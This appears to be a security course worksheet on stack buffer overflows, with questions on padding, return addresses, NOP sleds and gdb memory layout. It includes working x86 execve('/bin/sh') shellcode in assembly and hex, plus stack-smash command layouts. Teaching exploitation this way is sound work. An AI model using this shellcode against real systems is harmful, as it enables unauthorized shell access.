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- For the following disassembled code and source to the right, how many bytes must we overrun the buffer before the loop is affected?

- Consider the scenario where the attacker whishes to produce a buffer overflow where the loop would run for the maximum amount of iterations. Complete the overflow below to produce that maximum number of iterations and calculate how many iterations?

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./main

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`python -c "print 'A'*

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Will iterate how many times?

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Explain:

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3. Continuing with the program on the previous page: Consider trying to exploit that code with the shell code below

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SECTION .text          ; Code section
    global _start ; Make label available to linker

_start:                 ; Standard ld entry point
    jmp  callback

dowork:

    pop esi           ; esi now holds address of "/bin/sh"

    xor   eax,eax      ; zero out eax
    push  eax          ; args[1] - NULL
    push  esi          ; args[0] - "/bin/sh"

    xor   edx,edx      ; Param #3 - NULL (zero out edx)
    mov   ecx,esp      ; Param #2 - address of args array
    mov   ebx,esi      ; Param #1 - "/bin/sh"
    mov   al,0xb        ; System call number for execve (use al mov)
    int  0x80          ; Interrupt 80 hex - invoke system call

    xor   ebx,ebx      ; Exit code, 0 = normal
    xor   eax,eax      ; zero eax
    mov   al,1          ; System call number for exit
    int  0x80          ; Interrupt 80 hex - invoke system call

callback:
    call dowork      ; call pushes the next address onto stack,
                      ; which is address of "/bin/sh"
    db  "/bin/sh",0 ;

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Whose hex values are such and at that length:

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$ ./hexify.sh shell
\xeb\x17\x5e\x31\xc0\x50\x56\x31\xd2\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\x31\xdb\x31\
\xc0\xb0\x01\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
$ $(printf `./hexify.sh shell` | wc -c
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```

a) If we were to use the following method to overflow the buffer and smash the stack



5/3/1/0 ./vulnerable 5 <shell-code><padding><address-of-buf>

How many bytes of padding are needed and why?

Will this method work using the above shell code? If so, explain, if not, explain why not?

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b) Consider smashing the stack using the following method



```
./vulnerable 5 <-----padding-----><address-of-shellcode><padding><shell code>
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Why, based on the example in the class notes, is the second padding needed?

4. What is a nop? What byte is nop? What is a nop sled? And, where is a nop sled typically used?

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5. How does **gdb** affect the memory layout space of a program? Use the example stack smash from 3(b) to explain what happens when using that exploit outside of gdb?

6. Where in example stack smash above should the nop sled be placed to increase the likelihood of a successful attack outside of gdb?

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7. Consider the following shell code to the right as an improvement on the one previously described:

- a) This shell code fails to decreasing the total number of bytes in the shell code? Explain why?

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- b) This shell code fails to launch a shell, why?

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- c) What can you replace the push commands with to make this shell code work better?

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- d) How many bytes is the shell code reduced by?

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8. Consider the following shell code to the left.

```
SECTION .text
        global _start
_start:
        xor ecx,ecx
        mul ecx      ;MARK 1
        push eax
        push 0x68732f6e
        push 0x69622f2f

        mov ebx,esp  ;MARK 2
        mov al,0xb
        int 0x80
```

- a) At MARK 1, explain why mul ecx will zero out the registers eax and edx?

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- b) At MARK 2, how come we are not creating an argv array for execve? What argument are we passing instead?

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- c) How many bytes is this shell code?

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